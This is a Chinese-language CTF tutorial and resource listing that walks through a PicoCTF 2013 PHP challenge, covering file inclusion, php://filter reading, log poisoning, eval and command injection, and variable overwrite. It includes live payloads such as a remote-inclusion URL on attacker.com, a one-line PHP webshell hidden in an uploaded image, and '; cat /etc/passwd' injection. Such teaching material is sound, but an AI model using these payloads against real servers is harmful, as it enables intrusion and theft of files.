简介本资源为PICO CTF 2013网络安全竞赛中经典PHP安全挑战的完整复现资料包面向CTF初学者、Web安全学习者及渗透测试实践者聚焦PHP常见漏洞识别与利用能力训练。压缩包共4个文件18.85MB包含核心靶场环境index.php、解题思路详解的Word文档.docx、技术要点梳理的PPT课件.ppt以及关键操作演示MP4视频.mp4覆盖SQL注入、文件包含、XSS等典型PHP安全问题的分析路径与验证过程。已有158人下载学习内容结构完整视频直观展示漏洞触发与利用流程PPT提炼攻击原理与防御要点文档提供分步调试记录与绕过技巧PHP源码可直接部署复现。适合用于实战化安全教学、靶场环境搭建参考及CTF解题思维训练。1. 项目概述与背景解析最近在整理一些老CTF的题目翻到了PICO CTF 2013年的一个经典Web题题目文件叫“php2.rar”。这名字听起来平平无奇但当年可是难倒了不少刚入门安全的新手。它不像现在那些花里胡哨的题目动不动就搞什么复杂的框架漏洞或者新颖的绕过手法这道题的核心非常纯粹就是考察对PHP语言特性、服务器配置以及Web安全基础概念的深入理解。如果你对PHP的运作机制比如代码执行、文件包含、变量覆盖这些概念还停留在“知道有这么回事”的层面那这道题会是一个绝佳的“体检工具”它能清晰地告诉你你的知识体系里到底有哪些漏洞。简单来说这道题模拟了一个存在安全缺陷的PHP应用场景。解压php2.rar后你会得到一些PHP源代码文件。你的目标不是去运行一个完整的网站而是扮演攻击者的角色通过分析这些源代码找出其中存在的安全漏洞并利用这些漏洞去获取一个被称为“Flag”的特定字符串。这个Flag就是解题成功的证明。整个过程就像是在进行一场数字化的“密室逃脱”你需要仔细观察代码里的每一个线索漏洞并运用正确的工具知识来打开最终的锁获取Flag。这道题特别适合那些已经学过PHP基础语法和Web安全概念但缺乏实战分析经验的朋友。通过亲手解这道题你能把书本上那些抽象的原理比如“为什么eval()危险”、“include怎么就被利用了”变成肌肉记忆般的直觉。2. 核心漏洞原理深度剖析拿到php2.rar并解压后我们通常会看到几个.php文件。作为攻击者我们第一步永远是“代码审计”。不用急着去搭建环境先用人眼通读一遍代码理解程序的逻辑流。这道题的精妙之处在于它往往不会把漏洞明晃晃地写在eval($_GET[‘cmd’])这样的语句里而是将危险函数“伪装”在正常的业务逻辑中或者通过多个文件、多个函数的组合间接地创造出漏洞条件。2.1 文件包含漏洞的多种面孔文件包含File Inclusion是这道题最可能出现的漏洞类型之一。PHP中主要有include、require、include_once、require_once这四个函数用于包含外部文件。如果包含的文件路径是用户可控的且没有经过严格的过滤就会导致文件包含漏洞。本地文件包含LFI这是最基本的形式。假设代码中有这么一行include($_GET[‘page’] . ‘.php’);。攻击者可以构造参数?page../../../../etc/passwd。虽然代码自动添加了.php后缀变成../../../../etc/passwd.php但如果我们能利用服务器的一些特性比如%00空字节截断在PHP旧版本中magic_quotes_gpc关闭且PHP版本小于5.3.4时有效或者利用路径长度限制等就有可能读取到/etc/passwd的内容。在这道2013年的老题中空字节截断是一个需要重点考察的技术点。远程文件包含RFI如果php.ini中allow_url_include设置为On那么包含的函数甚至可以加载远程服务器上的文件。例如?pagehttp://attacker.com/shell.txt这会导致服务器下载并执行shell.txt中的PHP代码直接获得Webshell。在CTF环境中allow_url_include出于安全考虑通常是关闭的但作为知识点必须了解。注意在实际审计时不要只盯着明显的$_GET或$_POST。$_COOKIE、$_SERVER中的某些变量如HTTP_REFERER,HTTP_USER_AGENT也可能被用来构造文件路径这需要更细致的跟踪。2.2 代码执行与命令注入的细微差别这是另一个核心考点。PHP中能执行代码的函数不少最“臭名昭著”的就是eval()和assert()。eval()把字符串当作PHP代码来执行。例如eval(“echo ‘Hello, ‘ . \$name;”);。如果$name是用户输入的“; phpinfo(); //“那么最终执行的代码就变成了echo ‘Hello, ‘; phpinfo(); //’;成功执行了phpinfo()。assert()在PHP 5和7早期版本中assert()也可以执行代码。它的本意是用于调试断言但assert(‘phpinfo()’)同样会执行phpinfo()。PHP 8.0开始assert()不再执行字符串参数。这里有一个至关重要的技巧动态函数执行。像$func($_GET[‘param’])这样的代码极其危险。如果$func是用户可控的比如通过$_REQUEST[‘func’]赋值那么攻击者可以令$func为system$_GET[‘param’]为id最终构成system(‘id’)实现命令注入。这道题很可能把这种控制关系隐藏得很深需要你追踪变量的传递过程。命令注入Command Injection与代码执行不同它调用的是系统shell命令相关函数是system()、exec()、passthru()、shell_exec()以及反引号。漏洞点通常出现在拼接用户输入构造shell命令时没有做好转义。例如system(“ping -c 4 “ . $_GET[‘ip’]);输入127.0.0.1; cat /etc/passwd就能在ping命令之后执行cat。2.3 变量覆盖与全局变量滥用PHP的“注册全局变量”register_globals特性在早期版本默认是开启的虽然这道题出现的2013年该特性已基本被禁用但在CTF老题中仍是一个经典考点。当register_globalsOn时提交?is_admin1PHP会自动创建一个全局变量$is_admin “1”。如果代码中有一处判断是if ($is_admin) { // 显示flag }那么攻击者无需知道$is_admin原本应该从哪里赋值直接通过URL参数就能将其覆盖为真。即使没有register_globalsextract()函数使用不当也会导致变量覆盖。extract($_POST)会把$_POST数组中的键名作为变量名键值作为变量值导入到当前符号表。如果在这之前代码已经定义了一个关键变量如$auth false那么通过POST提交auth1extract()之后$auth就被覆盖成了1。实操心得审计这类老题脑子里要有一张“危险函数清单”。遇到include/require立刻检查参数是否用户可控、是否有过滤。遇到eval/assert立刻向上追踪传入的字符串来源。遇到$a($b)这种形式立刻警惕动态函数调用。看到extract()就要思考它处理的数据是否来自用户是否会覆盖已有变量。3. 实战解题步骤与工具链分析完原理我们进入实战。假设我们已经通过代码审计锁定了一个疑似漏洞点。接下来就是构造利用链拿到Flag。3.1 环境搭建与初步侦查虽然可以直接读代码但搭建一个临时的、隔离的测试环境能让你更直观地验证猜想。推荐使用Docker快速搭建一个老版本的PHP环境如PHP 5.4以匹配2013年的题目环境。# 拉取一个包含老版本PHP和Apache的镜像 docker pull php:5.4-apache # 运行容器将本地题目目录挂载到容器的/var/www/html docker run -d -p 8080:80 -v $(pwd)/php2:/var/www/html --name pico-ctf-2013 php:5.4-apache访问http://localhost:8080就能看到题目页面。首先用浏览器开发者工具查看页面结构、网络请求看看有哪些前端交互。然后用curl或者Burp Suite这类工具更灵活地发送请求。# 简单访问首页 curl http://localhost:8080/ # 查看返回头信息有时会有提示 curl -I http://localhost:8080/关键一步信息收集。访问http://localhost:8080/?phpinfo1如果存在这样的参数或者想办法触发一个报错比如访问不存在的文件有时报错信息会泄露绝对路径、PHP版本、加载的配置文件等这些对后续利用至关重要。3.2 漏洞利用链构造假设我们审计发现index.php中有如下代码片段$page isset($_GET[‘p’]) ? $_GET[‘p’] : ‘home’; include(‘pages/’ . $page . ‘.php’);这显然是一个本地文件包含LFI。我们的目标是读取FlagFlag可能存放在网站目录下的某个文件如flag.txt、flag.php也可能在服务器根目录。目录遍历读取Flag文件?p../../../../flag.txt。注意代码会自动添加.php后缀所以我们需要想办法截断。尝试空字节%00需URL编码?p../../../../flag.txt%00。如果PHP版本支持且配置允许这可能会成功读取flag.txt的内容而忽略后面的.php。利用PHP封装协议 如果空字节无效PHP的封装协议Wrapper是更强大的武器。php://filter可以用于读取文件源码特别是当文件被包含后直接执行如flag.php时直接包含它只会看到执行结果可能什么都没有而看不到源码。?pphp://filter/readconvert.base64-encode/resource../../../../flag.php这个Payload会以Base64编码的形式读取flag.php的源代码。我们收到一串Base64字符串解码后就能在源码注释或者变量赋值里找到Flag。结合文件上传或日志注入 如果题目还提供了文件上传功能我们可以上传一个包含PHP代码的图片文件例如在图片末尾添加?php system($_GET[‘c’]);?然后利用LFI包含这个上传的图片从而执行代码。 更隐蔽的方法是日志注入。如果我们可以控制User-Agent在请求时将其设置为?php phpinfo();?那么这个PHP代码就会被记录到服务器的访问日志中如/var/log/apache2/access.log。然后利用LFI包含这个日志文件/var/log/apache2/access.log服务器就会解析并执行我们注入的代码。这种方法对绝对路径信息有要求。3.3 从代码执行到获取Flag如果我们发现的是代码执行漏洞例如$cmd $_GET[‘cmd’]; eval(“echo \”Result: \” . $cmd;”);那么利用就相对直接。但Flag可能不在Web目录下我们需要执行系统命令来寻找。探测系统命令?cmdsystem(“ls -la /”);或者?cmdpassthru(“ls ..”);。查看根目录或上级目录有哪些文件。查找Flag文件?cmdsystem(“find / -name ‘*flag*’ 2/dev/null”);。这个命令会在整个文件系统搜索包含“flag”的文件名并将错误信息重定向到/dev/null以避免干扰。直接读取Flag 找到Flag文件路径后例如/opt/flag.txt使用?cmdhighlight_file(‘/opt/flag.txt’);或?cmdecho file_get_contents(‘/opt/flag.txt’);来读取。重要提示在真实CTF或授权测试中使用system()、exec()等函数时命令可能会受到disable_functions配置的限制。如果发现命令执行失败可以尝试用phpinfo()查看被禁用的函数列表并寻找未被禁用的替代函数如scandir()列目录、file_get_contents()读文件等纯PHP函数它们通常不在禁用列表里。4. 高级技巧与组合拳单一的漏洞有时不足以直接拿到Flag需要将多个知识点串联起来。4.1 序列化与反序列化漏洞初探虽然PICO CTF 2013的这道题可能不涉及复杂的反序列化但作为PHP安全的进阶知识点有必要了解。如果代码中使用了unserialize()函数且参数用户可控就可能触发对象注入。攻击者可以构造一个特殊的序列化字符串当被反序列化时会实例化一个包含恶意代码的类对象该对象的__wakeup()或__destruct()魔术方法会被自动调用从而执行代码。在这道题里如果Flag被存储在数据库或某个对象属性中通过反序列化漏洞或许能间接访问到。4.2 会话安全与条件竞争题目中可能会用到$_SESSION。如果会话管理不当比如会话ID可预测、会话数据存储在可读的位置也可能成为突破口。此外在极少数涉及文件操作的题目中可能存在条件竞争漏洞Race Condition。例如代码先检查文件是否存在不存在则创建并写入敏感数据。攻击者可以疯狂并发请求试图在文件被创建后、写入敏感数据前的一瞬间去读取或包含这个文件。4.3 利用PHP特性进行模糊测试当我们对代码逻辑不太确定时可以辅以模糊测试Fuzzing。用Burp Suite的Intruder模块或者自己写Python脚本向可疑的参数发送大量预定义的Payload列表包括各种目录遍历、封装协议、命令注入的变体观察服务器的响应差异如响应长度、状态码、内容变化从而发现隐藏的漏洞点。这对于处理经过简单编码或过滤的输入特别有效。5. 常见问题排查与避坑指南在实际解题过程中你肯定会遇到各种“坑”。这里记录一些典型问题和解决方法。问题1包含文件总是失败返回404或空白页。排查首先确认绝对路径。使用phpinfo()找到_SERVER[‘DOCUMENT_ROOT’]计算相对路径。其次检查包含语句是否在某个子目录的文件中相对路径的基准是当前执行脚本所在的目录不是网站根目录。最后确认文件权限Web服务器用户如www-data是否有权读取目标文件。问题2使用php://filter协议读取文件返回的是乱码或执行结果而非源码。排查确保Payload格式正确。resource后面跟的是文件路径不是URL。如果文件是PHP且被包含执行了那么你读到的是执行后的输出。这时必须用convert.base64-encode过滤器然后对返回的结果进行Base64解码。如果还是乱码可能是遇到了短标签?可以尝试在Payload前加上php://filter/readconvert.base64-encode/resource...或者检查服务器是否支持该协议。问题3命令执行Payload没反应或者只返回了命令的一部分。排查检查命令分隔符在Web环境中空格、、|、;等符号可能需要URL编码。尝试使用${IFS}代替空格%26代替。检查disable_functions用?cmdphpinfo();查看PHP配置确认system、exec等函数是否被禁用。尝试其他执行方式如果system被禁试试反引号ls或者shell_exec(‘ls’)或者用passthru。还可以使用PHP文件操作函数?cmdprint_r(scandir(‘.’));。输出被限制有时程序只会输出命令执行结果的一部分。可以尝试将结果写入一个Web可访问的文件?cmdsystem(‘ls / /tmp/result.txt’);然后再去读取/tmp/result.txt。问题4明明找到了Flag文件但读取时提示“无权限”或内容为空。排查这可能是最令人沮丧的情况。首先再次确认路径是否正确。其次Flag可能不在文件内容里而是作为环境变量存在$_ENV或者藏在数据库里需要通过SQL注入等手段获取。另外有些题目设计的Flag需要特定的“魔法”参数或特定的请求顺序如先登录获得一个Cookie才能触发显示逻辑需要你更完整地模拟整个业务流程。避坑技巧保持环境一致性尽量使用与题目描述或文件特征相符的PHP版本进行测试避免因版本差异导致利用失败例如空字节截断在PHP 5.3.4后无效。善用编码和混淆如果发现简单的Payload被WAF或简单的过滤拦截可以尝试对Payload进行URL编码、双重编码、或者使用一些冷门的PHP函数和语法进行混淆。耐心和细致代码审计是体力活也是脑力活。一个变量可能经过trim()、addslashes()、str_replace()等多重处理需要一步步跟踪理解最终的形态。画一张简单的数据流图会很有帮助。解完“PICO CTF 2013 php2.rar”这样的题目收获远不止一个Flag。它强迫你去深入理解PHP这个语言的“阴暗面”去思考开发者每一个不经意的选择可能带来的安全后果。这种通过源码洞察漏洞的能力是Web安全工程师最基础的素养也是最高阶的乐趣所在。下次再看到一堆PHP代码你不会再感到头晕而是会像侦探一样兴奋地开始寻找其中隐藏的“秘密”。本文还有配套的精品资源点击获取
